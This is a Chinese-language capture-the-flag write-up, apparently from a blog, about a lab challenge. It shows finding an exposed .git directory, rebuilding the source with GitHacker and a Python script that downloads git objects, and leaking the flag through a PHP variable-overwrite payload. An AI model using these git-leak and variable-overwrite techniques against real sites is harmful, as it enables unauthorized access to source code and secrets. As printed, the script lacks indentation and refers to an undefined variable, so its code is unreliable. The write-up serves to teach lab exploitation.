浏览页面
进入主页,全部的链接按钮全都点击一次,都不会跳转。在底部发现四个输入框:

输入一些数据,发送。然而,页面仍然回到主页,没有任何有关这个功能的反馈信息,推测这个功能也是当摆设的。
枚举目录
用 burpsuite 的 instruder 对目录用字典进行枚举,结果:

发现 .git 目录,几乎断定是 git 泄露。
利用 git 泄露得到源码
通过泄露的.git文件夹下的文件,用 githack 工具重建还原工程源代码。
python GitHacker.py http://78dfb878-7f3b-4674-8167-4d8838d4686c.node4.buuoj.cn:81/.git/
但是,发现两个脚本 index.php 和 flag.php 没有下载,重复几遍仍然失败(推测是服务器限制发送频率)。解决办法是:写个 python 脚本下载这两个文件的压缩文件,再解压。
先找到这两个文件的 URL 是什么。在 GitHacker.py 插入一句 print:

执行,看看结果:

然后写脚本:
import urllib.request as urllib2
import zlib
import ssl
import re
def get_file(url,file_name):
request = urllib2.Request(url1, None, {'User-Agent': user_agent})
data = urllib2.urlopen(request, context=context).read()
data = zlib.decompress(data)
try:
data = re.sub(r'blob \d+\00', '', data)
except Exception as e:
data = re.sub(b"blob \\d+\00", b'', data)
with open(file_name, 'wb') as f:
f.write(data)
context = ssl._create_unverified_context()
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
'Chrome/99.0.4844.82 Safari/537.36'
flag_url = "http://78dfb878-7f3b-4674-8167-4d8838d4686c.node4.buuoj.cn:81/.git//objects/f9/0f3308a1e1012c53388dfe4a586c4718dd7f84"
index_url = "http://78dfb878-7f3b-4674-8167-4d8838d4686c.node4.buuoj.cn:81/.git//objects/cb/03e0334d0e133ccd693a145813b0a6515c5e7d"
get_file(flag_url, 'flag.php')
get_file(index_url, 'index.php')
得到 index.php 和 flag.php 两个文件。
绕过限制
index.php 源码:
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
注意,exit() 退出程序之前,可以输出传入的变量(别被最后一句 echo 误导了,上面的限制可能根本无法绕过)。
payload:/?handsome=flag&flag=handsome
博客讲述了通过发现.git目录来判断存在Git泄露,使用githack工具重建源代码。在遇到下载限制时,采用Python脚本下载并解压所需文件。分析index.php源码,发现可以通过构造特定payload来绕过限制。
602

被折叠的 条评论
为什么被折叠?



